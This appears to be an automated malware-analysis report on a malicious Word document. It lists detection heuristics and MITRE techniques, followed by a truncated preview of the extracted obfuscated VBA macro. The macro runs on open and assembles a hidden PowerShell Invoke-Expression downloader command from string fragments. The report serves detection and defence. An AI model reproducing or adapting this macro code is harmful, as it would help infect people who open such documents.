MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers the execution of a Shell command, which is highly indicative of a downloader or dropper. The script attempts to construct and execute a PowerShell command, likely to fetch and execute a secondary payload from one of the embedded URLs. The ClamAV detection further confirms its malicious nature.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6551336-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6551336-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://cJZE6NznKQ1WNVNHAwJwknbBgW In document text (OLE body)
- http://eiskugeN0zwJwknbBgWEaehqod9gmJHIn document text (OLE body)
- http://�cJZE6�uQ�uIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 131685 bytes |
SHA-256: 6c1e9c21050c57534e5580cee3224b5a9b3b3bb67d635ae19743837cde2efdd8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "iQXBFCBVrjAMj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ujpvcnjicX()
On Error Resume Next
pQwkRKdFj = (DjYLPzUiBLQ - CDbl(25611) + pQGdN + Fix(XPUAQmjFNU / CLng(433245 * Sqr(MMiLTTHhQ))) - 814050 / Sin(ICkcAUjajdo - qiQiDQmcJjz - 695070 + CLng(pwmvVwwvztO)) * 833073 * Fix(25611))
MtJHLLnEnPh = "Dk5lIdDdCZs3CSKieJ'RIlYytdv3spY5UlqlRRX3zNlnuuUvaPaYowershell (' INvoke-ExPREssz90TSEzb"
tuzQv = CStr(Left(Right(MtJHLLnEnPh, 35), 27)) + CStr(Left(Right(MtJHLLnEnPh, 72), 1)) + Left(Right(MtJHLLnEnPh, 69), 1)
HWdimHJUqj = Chr(43)
KdtCKXRah = "pf4OUSuwr6EafmAxT'On ( (JHA0SJHRPkCiFpgJ3Xen0"
drZzpt = Left(Right(KdtCKXRah, 28), 14) + CStr(Left(Right(KdtCKXRah, 31), 1))
LMoiQ = Chr(43)
WPndwuhwC = "pf4OUSuwr6EafAnxJHATnsadasdJHDDRPkCiFpgJ3X"
LpFMiD = CStr(Left(Right(WPndwuhwC, 26), 13)) + CStr(Left(Right(WPndwuhwC, 29), 1))
DUROR = Chr(43)
dEZnsnXWcD = "zJH'waDo3"
tPlcpmF = CStr(Left(Right(dEZnsnXWcD, 8), 3))
aGIZKhZzna = (zsKYrloIa - CDbl(322673) + KzmQk + Fix(AZSjjz / CLng(80072 * Sqr(fjMiFWiBHfz))) - 78633 / Sin(luqbL - nOlPIW - 32902 + CLng(aUYZUq)) * 919101 * Fix(322673))
GaLiU = Chr(43)
opvvZvi = "TCw'A =JHzqymfXAV3ZE6"
GKcjKwkwYqL = Left(Right(opvvZvi, 18), 6) + CStr(Left(Right(opvvZvi, 6), 1))
bwCUt = Chr(43)
dZkvXJGti = "TCwaDoJHA &(7OAn73ZE6NznKQ1WNOA0zwJwknb"
PXpMIaOul = Left(Right(dZkvXJGti, 33), 11) + CStr(Left(Right(dZkvXJGti, 10), 2))
kZOoQpEqMYJ = Chr(43)
nTAodW = "z7JHAaDo3Z5z"
hdpFAmFW = CStr(Left(Right(nTAodW, 11), 4))
mhcPwHtBBUQ = Chr(43)
DKnjWwznC = "TCwaJHAOAe7OAfXiV3ZE6N'nKQ1WNV"
lNzcWp = Left(Right(DKnjWwznC, 26), 9) + Left(Right(DKnjWwznC, 8), 1)
rLHVYlpLWD = Chr(43)
cdzTimiLEd = (vXzct - CDbl(292621) + zkPHrzUD + Fix(WzSfUtvjb / CLng(14718 * Sqr(iVkOUjhvNmn))) - 973815 / Sin(hKRTLBjljc - zPjtYIM - 845598 + CLng(qWjOG)) * 719252 * Fix(292621))
AYYMzf = "'mT"
pUpWQnas = Left(Right(AYYMzf, 3), 1)
boPmPzV = Chr(43)
VdQduSrfUo = "zJHAwaDo3"
FPpKP = CStr(Left(Right(VdQduSrfUo, 8), 3))
VihVNzazQ = Chr(43)
CQASTps = "'mT"
IckcI = Left(Right(CQASTps, 3), 1)
GRPPLP = Chr(43)
XWDuakjPGAJ = "TCwaD'JHA7OAw-oiV3ZE6NznKQb'NVN0zwJw"
wiwBVVd = CStr(Left(Right(XWDuakjPGAJ, 31), 10)) + CStr(Left(Right(XWDuakjPGAJ, 10), 2))
JXuAVFJknQ = (EdnfqCzJQfn - CDbl(753767) + XUjrI + Fix(ujIXiTz / CLng(376854 * Sqr(ZROiwfwt))) - 843075 / Sin(wlhnkPkhMW - XflOARs - 676420 + CLng(pjzTfTdfv)) * 359786 * Fix(753767))
wlJRYFVYaG = Chr(43)
KAmhtOfQi = "TCw'jec7OzqymfXAV3ZE6"
YGToiQrG = Left(Right(KAmhtOfQi, 18), 6) + CStr(Left(Right(KAmhtOfQi, 6), 1))
ffjiuZiP = Chr(43)
hFkYGsKmbtz = "7'TCwa"
crEmB = Left(Right(hFkYGsKmbtz, 6), 2)
bjCinjqOf = Chr(43)
jTiHQO = "TCwa'OAt7OAJHfXiV3ZE6NAnKQ1WNV"
vnDVBjwm = Left(Right(jTiHQO, 26), 9) + Left(Right(jTiHQO, 8), 1)
ITCaXzaFY = Chr(43)
zstRFtPZIii = (dSQRKI - CDbl(737077) + SIGVlTqTD + Fix(VXNzMYGUAhL / CLng(90971 * Sqr(oljiGNW))) - 714768 / Sin(muqCJksWIwP - MbnGRMQt - 260322 + CLng(wKbXwT)) * 891439 * Fix(737077))
dYFAfmviiis = "TCwaDo3Z5JHA) random;0STYY1WNVN0zwJwknbBgWEaeJHAd9gmekg5D8Gm"
ZzGDPwjdcKo = CStr(Left(Right(dYFAfmviiis, 51), 17)) + CStr(Left(Right(dYFAfmviiis, 15), 3))
kbQpCOTr = Chr(43)
MVALJ = "TCwaDo3Z5JHAU = .(7OAne7OA1WNVN0zwJwknbBgWEaeJHAd9gmekg5D8Gm"
hHviHtpr = CStr(Left(Right(MVALJ, 51), 17)) + CStr(Left(Right(MVALJ, 15), 3))
zAnsEfiFX = Chr(43)
WMlMsZzajX = "zJHAwaDo3"
rRwsJm = CStr(Left(Right(WMlMsZzajX, 8), 3))
lUMzuFzbs = Chr(43)
KwEhiXa = "zJHAwaDo3"
LYHCtmzNop = CStr(Left(Right(KwEhiXa, 8), 3))
XkLwrJzFkP = Chr(43)
ItKEkGX = "TCwaJHA7OAw7OfXiV3ZE6NAnKQ1WNV"
scIUfjDvpR = Left(Right(ItKEkGX, 26), 9) + Left(Right(ItKEkGX, 8), 1)
pTjPHw = Chr(43)
YGRJtzaKusP = (CBalkQwq - CDbl(415383) + lifAzrvEPuB + Fix(NZYhVcwMD / CLng(934223 * Sqr(IlbtzvVqIj))) - 744885 / Sin(AnclJtIiGf - OrobBDOnzdp - 280318 + CLng(WuZFtAiZlRv)) * 690045 * Fix(415383))
w
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.